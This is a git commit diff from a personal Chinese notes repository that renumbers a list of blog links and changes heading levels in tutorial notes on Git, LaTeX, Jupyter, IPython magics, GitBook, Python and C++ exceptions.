master
zcy 2024-07-03 17:49:47 +08:00
parent b64f7eb271
commit f134ac8ad6
88 changed files with 2948 additions and 4404 deletions

1
.gitignore vendored
View File

@ -19,6 +19,7 @@ lib64/
parts/
sdist/
var/
blog/
wheels/
*.egg-info/
.installed.cfg

15
.vscode/launch.json vendored Normal file
View File

@ -0,0 +1,15 @@
{
// 使 IntelliSense
//
// 访: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Python 调试程序: 当前文件",
"type": "debugpy",
"request": "launch",
"program": "${file}",
"console": "integratedTerminal"
}
]
}

View File

@ -107,95 +107,87 @@
关于Python的面试题](https://blog.csdn.net/ds19991999/article/details/81807265)
54. [原创
教你屏蔽CSDN广告](https://blog.csdn.net/ds19991999/article/details/81843055)
55. [原创
了解门罗币](https://blog.csdn.net/ds19991999/article/details/81905100)
56. [转载
55. [转载
互联网协议入门](https://blog.csdn.net/ds19991999/article/details/81915914)
57. [转载
56. [转载
TCP/IP协议](https://blog.csdn.net/ds19991999/article/details/81915958)
58. [原创
57. [原创
✍GitBook高级配置](https://blog.csdn.net/ds19991999/article/details/82055366)
59. [原创
58. [原创
GitHub短网址服务](https://blog.csdn.net/ds19991999/article/details/82084387)
60. [原创
59. [原创
Ubuntu安装pip](https://blog.csdn.net/ds19991999/article/details/82714729)
61. [原创
60. [原创
解决AppImage 程序没有正确显示图标](https://blog.csdn.net/ds19991999/article/details/82719521)
62. [原创
61. [原创
解决ubuntu系统的terminal无法获得锁](https://blog.csdn.net/ds19991999/article/details/82729996)
63. [原创
62. [原创
shell学习](https://blog.csdn.net/ds19991999/article/details/82773402)
64. [原创
63. [原创
Liunx常见任务和基本工具(上篇)](https://blog.csdn.net/ds19991999/article/details/82780391)
65. [原创
64. [原创
Liunx常见任务和基本工具(下篇)](https://blog.csdn.net/ds19991999/article/details/82796638)
66. [原创
65. [原创
Linux编译程序](https://blog.csdn.net/ds19991999/article/details/82803189)
67. [原创
66. [原创
第一个Shell脚本](https://blog.csdn.net/ds19991999/article/details/82807569)
68. [原创
67. [原创
Shell流程控制if 分支结构](https://blog.csdn.net/ds19991999/article/details/82813464)
69. [原创
68. [原创
Shell流程控制while/until 循环](https://blog.csdn.net/ds19991999/article/details/82813480)
70. [原创
69. [原创
Shell流程控制case 分支](https://blog.csdn.net/ds19991999/article/details/82813492)
71. [原创
70. [原创
最新Linux下QQ和微信的使用很方便](https://blog.csdn.net/ds19991999/article/details/82814524)
72. [原创
71. [原创
aria2简单下载脚本](https://blog.csdn.net/ds19991999/article/details/82855643)
73. [原创
72. [原创
Python2和Python3的区别](https://blog.csdn.net/ds19991999/article/details/83045924)
74. [原创
73. [原创
Byte of Python3 总结](https://blog.csdn.net/ds19991999/article/details/83048480)
75. [原创
74. [原创
Ubuntu终端美化](https://blog.csdn.net/ds19991999/article/details/82851033)
76. [原创
75. [原创
Python Tutorial 2.7.14总结](https://blog.csdn.net/ds19991999/article/details/83052048)
77. [原创
76. [原创
Python基础教程总结](https://blog.csdn.net/ds19991999/article/details/83217617)
78. [原创
77. [原创
八皇后问题](https://blog.csdn.net/ds19991999/article/details/83218164)
79. [原创
78. [原创
Python基础教程总结](https://blog.csdn.net/ds19991999/article/details/83271371)
80. [原创
79. [原创
算法图解笔记](https://blog.csdn.net/ds19991999/article/details/83305054)
81. [原创
80. [原创
Linux面试题](https://blog.csdn.net/ds19991999/article/details/83314630)
82. [原创
81. [原创
leetcode15-三数之和](https://blog.csdn.net/ds19991999/article/details/83352817)
83. [原创
82. [原创
专题:排序算法](https://blog.csdn.net/ds19991999/article/details/83353393)
84. [转载
83. [转载
PEP 8风格指南](https://blog.csdn.net/ds19991999/article/details/83377674)
85. [原创
84. [原创
第一章 数据库和SQL](https://blog.csdn.net/ds19991999/article/details/83387869)
86. [原创
在网站嵌入挖矿JS代码样式](https://blog.csdn.net/ds19991999/article/details/83539946)
87. [原创
85. [原创
云服务器搭建神器JupyterLab多图](https://blog.csdn.net/ds19991999/article/details/83663349)
88. [原创
86. [原创
金庸的武侠世界——小说人物分析](https://blog.csdn.net/ds19991999/article/details/83692070)
89. [原创
彻底解决Ubuntu联网问题——网速飞起](https://blog.csdn.net/ds19991999/article/details/83715489)
90. [原创
87. [原创
Ubuntu使用日常](https://blog.csdn.net/ds19991999/article/details/83719417)
91. [原创
88. [原创
Windows上挂载OneDrive为本地硬盘](https://blog.csdn.net/ds19991999/article/details/85008885)
92. [原创
89. [原创
资源分享](https://blog.csdn.net/ds19991999/article/details/85225611)
93. [原创
90. [原创
CSDN自定义友链侧边栏](https://blog.csdn.net/ds19991999/article/details/86505686)
94. [原创
91. [原创
以WebDav方式挂载OneDrive](https://blog.csdn.net/ds19991999/article/details/86506042)
95. [原创
92. [原创
转存百度盘到gd/od的解决方案](https://blog.csdn.net/ds19991999/article/details/87736377)
96. [转载
93. [转载
Office365 PC版修改更新频道](https://blog.csdn.net/ds19991999/article/details/87973325)
97. [原创
94. [原创
Rclone笔记](https://blog.csdn.net/ds19991999/article/details/88370053)
98. [原创
95. [原创
Let's Encrypt 泛域名证书申请](https://blog.csdn.net/ds19991999/article/details/88553810)
99. [原创
96. [原创
Jekyll 博客 Netlify CMS 后台部署](https://blog.csdn.net/ds19991999/article/details/88651187)
100. [原创
解决套路云Debian新机update的时候出现Waiting for headers和404错误](https://blog.csdn.net/ds19991999/article/details/88659452)

View File

@ -3,15 +3,15 @@
# 01-Git基本概念
# Git基本概念
## Git基本概念
>
参考:[CyC2018-Git](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/Git.md)
## Git常用命令步骤
### Git常用命令步骤
### 第一次提交
#### 第一次提交
```
//初始化本地仓库
@ -51,7 +51,7 @@ git pull origin master --allow-unrelated-histories
git push -u origin master -f
```
### 之后的本地提交
#### 之后的本地提交
```
git add .
@ -64,17 +64,17 @@ git pull origin master --allow-unrelated-histories
git push -u origin master -f
```
## 集中式和分布式
### 集中式和分布式
## Git 的中心服务器
### Git 的中心服务器
## 工作流
### 工作流
可以跳过暂存区域直接从分支中取出修改或者直接提交修改到分支中 :
## 分支实现
### 分支实现
## 冲突
### 冲突
```
<<<<<<< HEAD
@ -84,20 +84,20 @@ Creating a new branch is quick AND simple.
>>>>>>> feature1
```
## Fast forward
### Fast forward
```
git merge --no-ff -m "merge with no-ff" dev
```
## 分支管理策略
### 分支管理策略
## 储藏Stashing
### 储藏Stashing
## SSH 传输设置
### SSH 传输设置
## .gitignore 文件
### .gitignore 文件
忽略以下文件:
## 参考资料
### 参考资料

View File

@ -3,17 +3,17 @@
# 01-Latex简介
# LaTex简介
## LaTex简介
# Contents
## Contents
## 优雅的LaTex
### 优雅的LaTex
有很多 Geeks 或者 LaTeXs Fanatical Fans 过分地强调了 LaTeX 的一些并非重点的特性,以至于很多初学者会觉得 LaTeX 很神秘很复杂,从而引发了初学者的畏难情绪甚至是负面情绪。尽管这些 Fans 说得并没有错,我是说在事实上,但是他们的表达方式和内心态度却间接阻碍了 LaTeX 的发展,我想这也是和他们的初衷相悖的。
*** LaTex—— 这个优雅,但有着自己高傲,却绝不复杂甚至神秘的东西。***
## Hello World!
### Hello World!
输入:
@ -37,7 +37,7 @@ Hello, world!
`\begin{document}``\documentclass{article}`之间的部分被称为导言区。导言区中的控制序列,通常会影响到整个输出文档。比如,我们通常在导言区设置页面大小、页眉页脚样式、章节标题样式等等。
## 中英混排
### 中英混排
CTeX 宏集的优势在于,它适用于多种编译方式;在内部处理好了中文和中文版式的支持,隐藏了这些细节;并且,提供了不少中文用户需要的功能接口。

View File

@ -3,21 +3,21 @@
# 01-第一次使用Jupyter
# 第一次使用Jupyter
## 第一次使用Jupyter
具体见个人Python图书馆[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
# Contents
## Contents
## 一、更改Jupyter notebook的工作空间
### 一、更改Jupyter notebook的工作空间
[链接跳转测试](#七、Jupyter中的Markdown)
### 1.直接在工作目录打开
#### 1.直接在工作目录打开
### 2.通过快捷方式属性修改
#### 2.通过快捷方式属性修改
### 3.修改config文件
#### 3.修改config文件
```
# The directory to use for notebooks and kernels.
@ -26,9 +26,9 @@ c.NotebookApp.notebook_dir = u'D:\Jupyter'
所以,最后我选择第一种方式最直接。
## 二、常用命令
### 二、常用命令
### 1.误删了jupyter notebook中的代码
#### 1.误删了jupyter notebook中的代码
```
for line in locals()['In']:
@ -39,7 +39,7 @@ for line in locals()['In']:
history
```
### 2.jupyter魔法
#### 2.jupyter魔法
```
# 当前目录
@ -78,15 +78,15 @@ u'D:\\Python\\Scripts\\notebook'
%autosave 3
```
## 三、Jupyter的各种快捷键
### 三、Jupyter的各种快捷键
## 四、Jupyter Notebook如何导入代码
### 四、Jupyter Notebook如何导入代码
>
即导入代码到jupyter notebook的cell中
### 1.将本地的.py文件load到jupyter的一个cell中
#### 1.将本地的.py文件load到jupyter的一个cell中
**问题背景**有一个test.py文件需要将其载入到jupyter的一个cell中 <br/> test.py内容如下
@ -103,11 +103,11 @@ print "HellO World!"
Shift Enter运行后%load test.py被自动加入了注释符号#test.py中的所有代码都被load到了当前的cell中.
### 2.从网络load代码到jupyter
#### 2.从网络load代码到jupyter
`%load https://matplotlib.org/examples/color/color_cycle_demo.html`
## 五、Jupyter运行python文件
### 五、Jupyter运行python文件
```
%run test.py
@ -118,9 +118,9 @@ HellO World!
```
## 六、Jupyter一些其他琐碎用法
### 六、Jupyter一些其他琐碎用法
### 1.jupyter的cell可以作为unix command使用
#### 1.jupyter的cell可以作为unix command使用
```
# 查看python版本
@ -142,11 +142,11 @@ HellO World!
```
### 2.Magic functions用法
#### 2.Magic functions用法
待深究:[The cell magic in Ipython](http://nbviewer.jupyter.org/github/ipython/ipython/blob/1.x/examples/notebooks/Cell%20Magics.ipynb#The-cell-magics-in-IPython)
### 3.获取current working directory
#### 3.获取current working directory
```
current_path = %pwd
@ -158,16 +158,16 @@ D:\Python\Scripts\notebook
```
### 4.使用Matplotlib绘图
#### 4.使用Matplotlib绘图
```
# 有时是弹不出图像框的,此时,可以在开头加入:
%matplotlib inline
```
## 七、Jupyter中的Markdown
### 七、Jupyter中的Markdown
### 1.链接跳转
#### 1.链接跳转
```
## 一、更改Jupyter notebook的工作空间
@ -177,14 +177,14 @@ D:\Python\Scripts\notebook
## 七、Jupyter中的Markdown
```
### 2.添加目录功能
#### 2.添加目录功能
```
$ pip2 install jupyter_nbextensions_configurator
$ pip2 install jupyter_contrib_nbextensions
```
### 3.在Jupyter中打开md文件
#### 3.在Jupyter中打开md文件
让`jupyter notebook` 生成md这个大家都会可是在github当中有很多很好的md文件如果不能在`jupyter notebook`当中打开体验,实在是太让人难过了。
@ -196,7 +196,7 @@ pip install notedown
c.NotebookApp.contents_manager_class = notedown.NotedownContentsManager
```
## 八、主题配置
### 八、主题配置
```
pip install --upgrade jupyterthemes
@ -207,9 +207,9 @@ jt -r //恢复默认主题
更详细配置参考:[jupyter-themes](https://github.com/dunovank/jupyter-themes)
## 九、Ubuntu上面存在权限问题
### 九、Ubuntu上面存在权限问题
### 修改权限
#### 修改权限
```
//问题1jupyter无法访问python
@ -227,19 +227,19 @@ $ sudo chown 用户 目录或文件名
$ sudo chgrp 组 目录或文件名
```
### 查看token
#### 查看token
```
jupyter-notebook list
```
## 十、Welcome to MkDocs
### 十、Welcome to MkDocs
For full documentation visit [mkdocs.org](http://mkdocs.org).
### Commands
#### Commands
### Project layout
#### Project layout
```
mkdocs.yml # The configuration file.
@ -249,7 +249,7 @@ docs/
```
## 十一、Git基本命令
### 十一、Git基本命令
```
//建立本地仓库
@ -276,9 +276,9 @@ $ git pull origin master --allow-unrelated-histories
$ git push -u origin master -f
```
## 补充
### 补充
### 指定图表格式
#### 指定图表格式
`Jupyter Notebook``Matplotlib` 画出来那一坨糊糊的东西会不会跟我一样浑身难受,在画图表的时候加上最后一行就行了,指定他为`'svg'`格式:
@ -289,7 +289,7 @@ import matplotlib.pyplot as plt
%config InlineBackend.figure_format = 'svg'
```
### 导出md格式去掉代码
#### 导出md格式去掉代码
假如你的`jupyter notebook`是导出一个报告给业务人员看的,他们不想看到那些密密麻麻的代码,只想留下`markdown`和图表,在`jupyter notebook`加入下面这段代码就好:
@ -299,7 +299,7 @@ di.display_html('&lt;script&gt;jQuery(function(){if (jQuery("body.notebook_app")
&lt;/script&gt;', raw=True)
```
### matplotlib显示中文
#### matplotlib显示中文
配置文件中加入:

View File

@ -3,11 +3,11 @@
# 02-Ipython Magic魔术
# IPython Magic 魔术
## IPython Magic 魔术
具体见个人Python图书馆[https://ds-ebooks.github.io](https://ds-ebooks.github.io)
## 简介
### 简介
两种`magic`命令: <br/> * `Line magics``%`,只接受该行的参数 <br/> * `Cell magics`: `%%`,只能用在`cell`首行,`%%`接收的`magic`参数包括整个`cell`,并且每个单元格只能用一个`cell`
@ -27,7 +27,7 @@ Automagic is ON, % prefix IS NOT needed for line magics.
```
## 简单`Magic`
### 简单`Magic`
```
%matplotlib inline
@ -45,7 +45,7 @@ import matplotlib.pyplot as plt
```
### 计算整个`cell` 代码运行时间
#### 计算整个`cell` 代码运行时间
```
%%timeit a = np.random.rand(100, 100)
@ -57,7 +57,7 @@ np.linalg.eigvals(a)
```
### `%%capture`捕获`cell`输出`stdout/stderr`
#### `%%capture`捕获`cell`输出`stdout/stderr`
```
%%capture capt
@ -88,7 +88,7 @@ and stderr
```
### `%%capture result`有同样的功能
#### `%%capture result`有同样的功能
```
%%capture result
@ -114,7 +114,7 @@ result.show()
```
### `%%scipy cell magic`
#### `%%scipy cell magic`
```
%%script python
@ -150,7 +150,7 @@ hello from /usr/bin/bash
```
### `--out` `--err`捕获`cell`魔法的输出
#### `--out` `--err`捕获`cell`魔法的输出
```
%%bash
@ -192,7 +192,7 @@ data = pl.randn(100)
pl.plot(data);
```
### 配合 `%config InlineBackend.figure_format="svg"`做图片输出格式的设置
#### 配合 `%config InlineBackend.figure_format="svg"`做图片输出格式的设置
```
%config InlineBackend.figure_format="svg"
@ -203,7 +203,7 @@ pl.plot(data);
pl.plot(data);
```
### 调试代码的模式 `%xmode Plain`和原来的模式`%xmode Verbose`
#### 调试代码的模式 `%xmode Plain`和原来的模式`%xmode Verbose`
```
def f1(a,b):
@ -293,11 +293,11 @@ ZeroDivisionError: integer division or modulo by zero
```
### `%debug`用户调试错误
#### `%debug`用户调试错误
使用`%debug`会在报错时进去调试模式,在调试模式中我们可以
### `%timeit`和`%time`
#### `%timeit`和`%time`
```
%timeit sum(map(lambda x:x**2,range(100)))
@ -323,7 +323,7 @@ Wall time: 0 ns
```
### `%%prun/%prun`命令调用`profile`模块,对单元中的代码进行宏观上的性能剖析
#### `%%prun/%prun`命令调用`profile`模块,对单元中的代码进行宏观上的性能剖析
```
%%prun
@ -347,6 +347,6 @@ fib(20)
1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects}
```
## 参考资料
### 参考资料
[Jupyter攻略](http://blog.hszofficial.site/TutorialForJupyter/)

View File

@ -3,15 +3,15 @@
# 02-Latex数学公式编辑
# 数学公式编辑
## 数学公式编辑
>
对于Python程序员需要一些数学公式的编辑所以对于LaTex的学习只需要掌握数学公式的编辑已经足够关于文档编排感兴趣可以深究但感觉没必要.
# Contents
## Contents
## 数学模式
### 数学模式
```
<code># `$ ... $` 可以插入行内公式
@ -49,7 +49,7 @@
编号已经自动显示出来了,不过一般这个环境可以不使用,后面会介绍.
## 上下标`^` `_`
### 上下标`^` `_`
```
\[ x_1+x_2=-b/a. \]
@ -187,7 +187,7 @@ E=mc^2.
z=r⋅e2πi.
## 根式与分式
### 根式与分式
根式用 `\sqrt{·}` 来表示,分式用`\frac{·}{·}` 来表示(第一个参数为分子,第二个为分母)
@ -270,7 +270,7 @@ $\sqrt{x}$, $\frac{1}{2}$.
21.
## 运算符
### 运算符
```
\[ \pm\; \times \; \div\; \cdot\; \cap\; \cup\;
@ -533,7 +533,7 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
~~这里又发现markdown已经帮我们把空格加上去了.~~好吧,是我搞错了。。。
## 定界符括号等
### 定界符括号等
```
(x) \[ \Biggl(\biggl(\Bigl(\bigl((x)\bigr)\Bigr)\biggr)\Biggr) \]
@ -802,7 +802,7 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
∥∥∥∥∥∥∥∥∥∥∥∥∥∥∥x∥∥∥∥∥∥∥∥∥∥∥∥∥∥∥
## 省略号
### 省略号
```
\[ x_1,x_2,\dots ,x_n\quad1,2,\cdots ,n\quad\vdots\quad\ddots \]
@ -887,7 +887,7 @@ KaTeX parse error: Expected 'EOF', got '\iiiint' at position 23: …quad\iiint\q
x1,x2,…,xn1,2,⋯,n⋮⋱
## 矩阵
### 矩阵
```
\[ \begin{pmatrix} a&amp;b\\c&amp;d \end{pmatrix} \quad
@ -1170,11 +1170,11 @@ Marry has a little matrix $ ( \begin{smallmatrix} a&amp;b\c&amp;d \end{smallmatr
Marry has a little matrix $ | \begin{smallmatrix} a&amp;b\c&amp;d \end{smallmatrix} | $.
## 多行公式
### 多行公式
有的公式特别长,我们需要手动为他们换行;有几个公式是一组,我们需要将他们放在一起;还有些类似分段函数,我们需要给它加上一个左边的花括号。
### 长公式
#### 长公式
不对齐:
@ -1264,7 +1264,7 @@ d+e+f+g
x=a+b+c+d+e+f+g
### 公式组
#### 公式组
无需对齐的公式组可以使用 gather 环境,需要对齐的公式组可以使用 align 环境。他们都带有编号,如果不需要编号可以使用带`*`的版本。
@ -1281,7 +1281,7 @@ x &amp;= y+z
```
### 分段函数
#### 分段函数
分段函数可以用cases次环境来实现它必须包含在数学环境之内。
@ -1295,7 +1295,7 @@ x,\quad x&gt;0
这里LaTex和md的空格都不起作用了…
## 插入图片和表格
### 插入图片和表格
这里由于md本身已经支持了图片和和表格所以关于LaTex本身的图片和表格就无须了解要知道md支持LaTex数学公式这个文档就是纯md写的.
@ -1313,9 +1313,9 @@ x,\quad x&gt;0
“htbp” 选项用来指定插图的理想位置这几个字母分别代表here, top, bottom, float page也就是就这里、页顶、页尾、浮动页(专门放浮动体的单独页面) 。\centering 用来使插图居中;\caption 命令设置插图标题LaTeX 会自动给浮动体的标题加上编号。注意 \label 应该放在标题命令之后。
## 一点背景
### 一点背景
### TeX - LaTeX
#### TeX - LaTeX
TeX 是高德纳Donald Ervin Knuth1938年1月10日 教授愤世嫉俗大雾追求完美做出来的排版引擎同时也是该引擎使用的标记语言Markup Lang的名称。这里所谓的引擎是指能够实现断行、分页等操作的程序请注意这并不是定义这里的标记语言是指一种将控制命令和文本结合起来的格式它的主体是其中的文本而控制命令则实现一些特殊效果同样请注意这并不是定义
@ -1323,7 +1323,7 @@ TeX 是高德纳Donald Ervin Knuth1938年1月10日 –)教授愤世嫉
所以:
### pdfTeX - pdfLaTeX
#### pdfTeX - pdfLaTeX
pdfTeX 直接输出 pdf 格式文档,而 TeX 引擎则输出 dvi 格式的文档。
@ -1331,7 +1331,7 @@ pdfLaTeX 这个程序的主要工作依旧是将 LaTeX 格式的文档进行解
更多LaTex知识请看[LaTeX 入门文档](https://liam0205.me/2014/09/08/latex-introduction/)。
### 总结
#### 总结
TeX - pdfTeX - XeTeX - LuaTeX 都是排版引擎按照先进程度递增LuaTeX 尚未完善)。

View File

@ -3,17 +3,17 @@
# 02-图解Git笔记
# 图解Git笔记
## 图解Git笔记
>
参考:[图解 Git](http://marklodato.github.io/visual-git-guide/index-zh-cn.html)
## 基本用法
### 基本用法
## 命令详解
### 命令详解
### Diff
#### Diff
```
git diff maint(分支名)
@ -23,18 +23,18 @@ git diff
git diff HEAD
```
### Commit
#### Commit
或者
如果想**更改一次提交**,使用 `git commit --amend`。git会使用与当前提交相同的父节点进行一次新提交旧的提交会被取消。
### Checkout
#### Checkout
### Reset
#### Reset
### Merge
#### Merge
### Cherry Pick
#### Cherry Pick
### Rebase
#### Rebase

View File

@ -3,29 +3,29 @@
# 03-廖雪峰Git教程笔记
# 廖雪峰Git教程笔记
## 廖雪峰Git教程笔记
## 教程导图
### 教程导图
## 集中式和分布式
### 集中式和分布式
## 配置信息
### 配置信息
```
git config --global user.name "Your Name"
git config --global user.email "email@example.com"
```
## 创建版本库
### 创建版本库
## 修改文件并提交
### 修改文件并提交
```
git status # 查看当前状态
git diff README.TXT # 查看被修改的文件具体修改的内容
```
## 版本回退
### 版本回退
```
# version1 README.txt
@ -46,21 +46,21 @@ Git is free software distributed under the GPL.
git reset --hard &lt;版本号&gt;
```
## 工作区和暂存区
### 工作区和暂存区
## 管理修改
### 管理修改
## 撤销修改
### 撤销修改
## 删除文件
### 删除文件
## 远程仓库
### 远程仓库
## 分支管理:
### 分支管理:
### 创建与合并分支:
#### 创建与合并分支:
### 删除指针,也就是删除指针而已
#### 删除指针,也就是删除指针而已
```
# 创建dev分支此时远程库并没有dev分支-b表示创建并切换
@ -81,11 +81,11 @@ git branch -d dev
# 安全起见,使用分支完成某个任务,合并后再删掉分支
```
### 冲突解决:
#### 冲突解决:
### 分支管理策略:
#### 分支管理策略:
### Bug分支
#### Bug分支
```
# 查看当前分支dev发现未提交的文件但由于未完成所以不想提交
@ -126,7 +126,7 @@ git stash list
git stash apply stash@{0}
```
### Feature分支
#### Feature分支
```
# 开发代号为Vulcan的新功能
@ -144,7 +144,7 @@ git branch -d feature-vulcan # 发现并不能删除分支
git branch -D feature-vulcan
```
### 多人协作:
#### 多人协作:
```
# 指定本地dev分支与远程origin/dev分支的链接
@ -158,11 +158,11 @@ git pull
git push origin dev
```
### Rebase
#### Rebase
## 标签管理
### 标签管理
### 创建标签
#### 创建标签
```
# 切换打标签的分支
@ -189,7 +189,7 @@ git tag -a v0.1 -m "version 0.1 released" 1094adb
git show &lt;tagname&gt;
```
### 删除标签
#### 删除标签
```
# 删除标签
@ -208,18 +208,18 @@ git tag -d v0.9
git push origin :refs/tags/v0.9
```
### GitHub Pages
#### GitHub Pages
### 使用码云仓
#### 使用码云仓
## 自定义Git
### 自定义Git
```
# 让Git显示颜色
git config --global color.ui true
```
### 忽略特殊文件
#### 忽略特殊文件
```
# Windows:
@ -240,14 +240,14 @@ db.ini
deploy_key_rsa
```
### 配置别名
#### 配置别名
```
# 配置lg,查看分支合并情况
git config --global alias.lg "log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)&lt;%an&gt;%Creset' --abbrev-commit"
```
## 搭建Git服务器
### 搭建Git服务器
```
# 安装git

View File

@ -3,11 +3,11 @@
# 03-用Jupyter编写数学公式
# 用jupyter编写数学公式
## 用jupyter编写数学公式
# Contents
## Contents
## 两种数学模式
### 两种数学模式
直接切入正题毕竟我是在用Jupyter不是LaTex。。。
@ -181,7 +181,7 @@ $P(A \mid B) = \frac{ P(B \mid A) P(A) }{ P(B) }$
P(AB)=P(B)P(BA)P(A)
## 空格
### 空格
```
$$a\quad\a$$
@ -228,7 +228,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
∫f(x)dx
## 上标和下标
### 上标和下标
`$$x^2$$`
@ -375,7 +375,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
kargmax
## 命令
### 命令
特定的符号和形式通过命令进行编写,每一个命令以反斜杠开始,一个命令名紧随其后。比如说,创建一个平方根的表达式 `$ \sqrt{2\pi} $$` 显示为
@ -418,7 +418,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
ba
## 符号
### 符号
`$$\alpha, \beta, \gamma$$`<br/>
@ -611,7 +611,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
∞,∇,∂
## 头标
### 头标
`$$\hat x$$`<br/>
@ -761,7 +761,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
,AB
## 括号
### 括号
`$$z=(\frac{dx}{dy})^{1/3}$$`<br/>
@ -1017,7 +1017,7 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
⎩⎪⎪⎧acbd⎭⎪⎪⎫
## 字体及其选项
### 字体及其选项
```
<code># 非斜体罗马文本
@ -1140,9 +1140,9 @@ KaTeX parse error: Expected 'EOF', got '\a' at position 7: a\quad\̲a̲
A⋅x=λ⋅v
## 转义字符’’
### 转义字符’’
## 等式对齐
### 等式对齐
通过 \ 断开两个或多个等式,可实现等式中部对齐,例如:
@ -1429,7 +1429,7 @@ a_3&amp;=b_3+c_3
a1a2a3=b1+c1=b2+c2+d2=b3+c3
## 分段函数
### 分段函数
```
$$
@ -1577,7 +1577,7 @@ $$
`\\ 等价于 \cr表示换行到新的 case。`
## 一点总结
### 一点总结
`$$\sqrt[3]{a}$$`<br/>
@ -1960,10 +1960,10 @@ a+b+⋯+j<br/> `$$\overbrace{a+b+\cdots+j}^{10}$$`<br/>
i=1∏9i
## 附录1数学符号表
### 附录1数学符号表
>
要经常查看
## 附录2参考书籍
### 附录2参考书籍

View File

@ -3,8 +3,8 @@
# 04-Git命令总结
# Git命令总结
## Git命令总结
## git cheat sheet
### git cheat sheet
## 官网
### 官网

View File

@ -3,13 +3,13 @@
# 05-使用GitBook打造自己的出版平台
# 使用GitBook打造自己的出版平台
## 使用GitBook打造自己的出版平台
## 准备工作
### 准备工作
## 使用Summary构建书籍目录
### 使用Summary构建书籍目录
### 直接用Summary构建
#### 直接用Summary构建
```
{
@ -21,7 +21,7 @@
}
```
### 使用Python脚本构建
#### 使用Python脚本构建
```
import os
@ -93,11 +93,11 @@ for folder in folders:
index_file.close()
```
## 生成电子书
### 生成电子书
## 输出pdf
### 输出pdf
## 最终验证成功的命令
### 最终验证成功的命令
```
# 先卸载全局node.js

View File

@ -7,9 +7,9 @@
总结入门书《Byte of Python》找找新东西。
### 目录
#### 目录
## 格式化字符串
### 格式化字符串
字符串不可变,正则表达式中的字符串应该使用原始字符串`r"strings"`
@ -40,7 +40,7 @@ print('c', end='\n')
```
## 运算符与表达式
### 运算符与表达式
运算符与C/C++差异比较大
@ -59,7 +59,7 @@ not and or
`continue`跳出当前循环块剩余语句,继续下一次迭代
## 参数
### 参数
[https://www.douban.com/note/13413855/](https://www.douban.com/note/13413855/)
@ -94,7 +94,7 @@ def function(arg1,arg2=&lt;value&gt;,*arg3,**arg4)
首先按顺序把“arg”这种形式的实参给对应的形参<br/> 第二把“arg=”这种形式的实参赋值给形参<br/> 第三把多出来的“arg”这种形式的实参组成一个tuple给带一个星号的形参<br/> 第四把多出来的“key=value”这种形式的实参转为一个dictionary给带两个星号的形参
## 模块
### 模块
```
if __name__=="__main__":
@ -104,7 +104,7 @@ else:
```
## 包
###
包的结构:
@ -126,7 +126,7 @@ else:
如上包的名称为worldasia和afica是它的子包子包包含india、madagascar等模块
## 数据结构
### 数据结构
列表的引用:`a=[1,2,3,4]; b=a`a和b指向同一个对象改变a或b都会改变b=a[:]则相当于copy一个对象a与b不会互相改变
@ -151,15 +151,15 @@ seq.replace(" ","_")序列字符串将空格取代为_
```
## 软件开发流程
### 软件开发流程
what——&gt;how——&gt;do it——&gt;test——&gt;use——&gt;maintain
## 面向对象编程
### 面向对象编程
`__init__`方法、类变量和对象变量、装饰器classmethod、继承
## 输入与输出
### 输入与输出
**Pickle:**将纯Python对象存储在一个文件中并在稍后取回这叫持久性(Persistently)存储对象.
@ -169,7 +169,7 @@ pickle.load(file)#加载文件
```
## 异常
### 异常
```
# coding=UTF-8
@ -205,7 +205,7 @@ with open("poem.txt") as f:
```
## 特殊方法
### 特殊方法
```
listone = [2, 3, 4]

View File

@ -3,9 +3,9 @@
# C++异常处理
# 一、C++语言异常处理的实现
## 一、C++语言异常处理的实现
## 1.三个保留字
### 1.三个保留字
```
//try:可能发生异常的程序代码
@ -43,7 +43,7 @@ void main()
}
```
## 2.实例
### 2.实例
```
//test1
@ -172,9 +172,9 @@ void main()
}
```
# 二、重新抛出异常和异常规范
## 二、重新抛出异常和异常规范
## 1.重新抛出异常
### 1.重新抛出异常
```
//当catch语句捕获异常后不能完全处理异常
@ -211,7 +211,7 @@ int main()
}
```
## 2.异常规范
### 2.异常规范
```
//如果程序运行时,函数抛出了一个没有被列在它的异常规范中的异常时
@ -225,7 +225,7 @@ void f() throw(X,Y)
//如果写成throw(),则表示不会抛出异常
```
# 三、C++标准库中的异常类
## 三、C++标准库中的异常类
```
//C++异常层次根类为exception类exception类中的虚函数what()

View File

@ -3,9 +3,9 @@
# GitHub短网址服务
## 示例
### 示例
## 自定义git.io后缀
### 自定义git.io后缀
脚本:[https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh](https://raw.githubusercontent.com/ds19991999/shell.sh/shell/shortgit.sh)

View File

@ -7,7 +7,7 @@
update: 2018-06-05
## 一、基本命令
### 一、基本命令
```
//建立本地仓库
@ -34,6 +34,6 @@ $ git pull origin master --allow-unrelated-histories
$ git push -u origin master -f
```
## 二、常见问题汇总
### 二、常见问题汇总
### 1.出现邮箱限制
#### 1.出现邮箱限制

View File

@ -5,7 +5,7 @@
参考教程: [HTML教程](http://www.w3school.com.cn/html/index.asp)
## 1.简介
### 1.简介
HTML是**超文本标记语言**(Hyper Text Markup Language)使用标记标签来描述网页。HTML 标签是由尖括号包围的关键词,比如 通常是成对出现的。Web的作用就是读取HTML文档并以网页的形式来显示他们。
<li> &lt;html&gt;&lt;/html&gt; 之间的文本描述网页 
@ -19,15 +19,15 @@
---
## 2.编辑器
### 2.编辑器
推荐使用Notepad或者TextEdit来编写HTML。
## 3.基础
### 3.基础
